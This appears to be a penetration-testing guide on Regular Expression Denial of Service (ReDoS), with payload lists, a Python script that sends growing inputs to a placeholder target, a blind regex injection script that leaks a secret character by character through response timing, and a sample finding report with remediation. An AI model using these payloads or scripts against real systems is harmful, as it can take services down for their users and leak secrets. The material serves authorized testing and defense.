Testing For Regex Dos Redos

Testing for Regex Denial of Service (ReDoS)

When to Use

• During authorized assessments of endpoints that validate input with regexes (email, URL, username, phone, "sanitizers")
• When the application reflects processing time or has visible per-request latency you can measure
• When stored rules, search patterns, or filters let an attacker supply or influence the regex itself (blind regex injection)
• When reviewing source/config and you can read the actual patterns in use
• When testing JS (browser/Node RegExp), Python re, Java java.util.regex, or PCRE — all backtracking engines

Prerequisites

• Authorization: ReDoS is a DoS technique; confirm the scope explicitly allows latency/availability testing, ideally against staging
• Measurement tooling: curl -w, Burp Suite timing, or a small script that doubles input length and records latency
• regexploit: pip install regexploit to detect vulnerable patterns and auto-generate evil input
• Care: Use bounded input sizes; an exponential payload can take a node down. Coordinate with the client.

Critical: Variants Most Often Missed

The classic miss is testing one payload length and concluding "no ReDoS". Catastrophic backtracking only reveals itself as input GROWS, so you must test doubling lengths and watch for super-linear growth.

Evil regex shapes (nested/overlapping quantifiers and alternation) that HackTricks/OWASP flag as vulnerable:

(a+)+
([a-zA-Z]+)*
(a|aa)+
(a|a?)+
(.*a){x}   for x > 10

All of the above hang on the input aaaaaaaaaaaaaaaaaaaaaaaa!.

Catastrophic input shape:

[optional prefix that enters the vulnerable subpattern]
+ long run of an ambiguous char (many 'a', '_', or spaces)
+ a final char that forces overall FAILURE so the engine backtracks
  through every possibility (e.g. '!')

Minimal payloads to fire against attacker-controlled regex + input:

// Each is super-linear against "aaaaaaaaaaaaaaaaaaaaaaaaaa!"
"(a|a?)+$"        // ~5000 ms
"(\\w*)+$"        // generic, ~3200 ms
"(a*)+$"          // ~3300 ms
"(.*a){100}$"     // ~1400 ms
"([a-zA-Z]+)*$"   // generic, ~770 ms
"(a+)*$"          // ~720 ms
// Eternal (avoid in prod): "((a+)+)+$", "(a?){100}$"

Blind regex injection — exfiltrate a secret/flag char-by-char by making the page freeze ONLY when the pattern matches:

^(?=<known_prefix>)((.*)*)*salt$        # PortSwigger blind regex injection
<known_prefix>(((((((.*)*)*)*)*)*)*)!   # nested-group amplifier
^(?=<prefix>).*.*.*.*.*.*.*.*!!!!$       # alternative amplifier
# Example probing one char: ^(?=HTB{sOmE_fl)((.*)*)*salt$  -> slow == correct guess

How to CONFIRM a hit (avoid false negatives)

Confirm with TIMING evidence, not status codes:

• Doubling test: send input of length 2^k for k = 8..15. Plot latency. Exponential or steep polynomial growth = viable ReDoS. Linear growth = safe-ish.
• A single long input that jumps from ~10 ms to multiple seconds (or a gateway/worker timeout, e.g. 502/504) is a strong signal.
• For blind regex injection: a reproducible latency delta between a matching guess and a non-matching guess (matching = slow) confirms a usable oracle; iterate to leak the secret char-by-char.
• Rule out network jitter: repeat each measurement 3-5x and compare medians; keep a known-fast baseline request alongside.
• If the engine is RE2 / RE2J / RE2JS / Rust regex (linear-time, no backtracking), expect NO super-linear growth — pivot to other bottlenecks (huge patterns, input size limits) instead.

Workflow

Step 1: Identify Regex-Backed Inputs

# Likely validators: email, url, username, slug, phone, "sanitize", search filters
# In source review, grep for compiled patterns:
grep -rEn "new RegExp|re\.compile|Pattern\.compile|preg_match|\.match\(|\.test\(" .

Step 2: Establish a Latency Baseline

curl -s -o /dev/null -w "len=10 %{time_total}s\n" \
  --data-urlencode "email=$(python3 -c 'print("a"*10)')" \
  https://target.example.com/validate

Step 3: Run the Doubling Test (input-only control)

import requests, time
url = "https://target.example.com/validate"
for k in range(8, 16):
    n = 2**k
    payload = "a"*n + "!"          # long ambiguous run + failing tail
    t0 = time.time()
    requests.post(url, data={"email": payload}, timeout=30)
    print(n, f"{time.time()-t0:.3f}s")
# Super-linear growth in the latency column => ReDoS

Local confirmation that a known pattern is exponential:

import re, time
pat = re.compile(r'(\w*_)\w*$')
for n in [2**k for k in range(8, 15)]:
    s = 'v' + '_'*n + '!'
    t0 = time.time(); pat.search(s); print(n, f"{time.time()-t0:.3f}s")

Step 4: Auto-Detect Vulnerable Patterns

# Analyze a single pattern interactively
regexploit

# Scan a codebase and auto-generate evil inputs
regexploit-py path/to/python/src/
regexploit-js path/to/js/src/

# Alternative checkers
# https://devina.io/redos-checker  (web)
# redos-detector (CLI/JS), vuln-regex-detector (end-to-end pipeline)

Step 5: Blind Regex Injection (attacker controls the pattern)

import requests, time, string
host = "https://target.example.com/search"
known = "HTB{"
charset = string.ascii_letters + string.digits + "_}"
while not known.endswith("}"):
    for c in charset:
        guess = known + c
        pattern = f"^(?={guess})((.*)*)*salt$"   # slow only if guess is a real prefix
        t0 = time.time()
        requests.get(host, params={"re": pattern, "subject": "salt"}, timeout=20)
        if time.time()-t0 > 2.0:                 # latency oracle
            known = guess
            print("leaked:", known)
            break

Key Concepts

Tools & Systems

Common Scenarios

Scenario 1: Email Validator Hang

A signup endpoint validates email with a regex like ^([a-zA-Z0-9]+)*@...$. Posting "a"*40000 + "!" drives request time from 8 ms to 12 s, tying up a worker thread; repeating it exhausts the worker pool and denies service.

Scenario 2: Stored Filter Rule ReDoS

An admin "content filter" lets users save regex rules later applied to every request. A user saves (.*a){100}$; subsequent traffic containing long a runs stalls the matching service for all tenants.

Scenario 3: Blind Regex Injection Secret Leak

A search feature passes a user-supplied pattern straight into the engine and matches it against a server-side secret. Using ^(?=<guess>)((.*)*)*salt$, an attacker observes which guesses are slow and reconstructs the secret one character at a time.

Output Format

## ReDoS Finding

**Vulnerability**: Regular Expression Denial of Service (ReDoS)
**Severity**: High (CVSS 7.5)
**Location**: POST /validate (email parameter)
**OWASP Category**: A05:2021 - Security Misconfiguration / Denial of Service

### Reproduction Steps
1. Baseline: email of 10 chars -> 0.008 s
2. Send email = "a"*16384 + "!"
3. Observe response time of 9.4 s (worker thread blocked)
4. Doubling test shows exponential growth: 4096->0.6s, 8192->2.4s, 16384->9.4s

### Timing Evidence
| Input length | Response time |
|--------------|---------------|
| 4096 | 0.61 s |
| 8192 | 2.40 s |
| 16384 | 9.42 s |
| 32768 | timeout (504) |

### Vulnerable Pattern (from source review)
`^([a-zA-Z0-9]+)*@example\.com$`  -- nested quantifier `([...]+)*`

### Impact
A single request blocks a worker; a handful of concurrent requests exhaust the
worker pool and deny service to all users.

### Recommendation
1. Replace backtracking patterns; remove nested/overlapping quantifiers
2. Use a linear-time engine (RE2 / Rust regex) for untrusted input
3. Enforce input length limits before matching
4. Apply per-request regex execution timeouts and run matching off the request thread
5. Never compile user-supplied patterns; if unavoidable, sandbox with a linear-time engine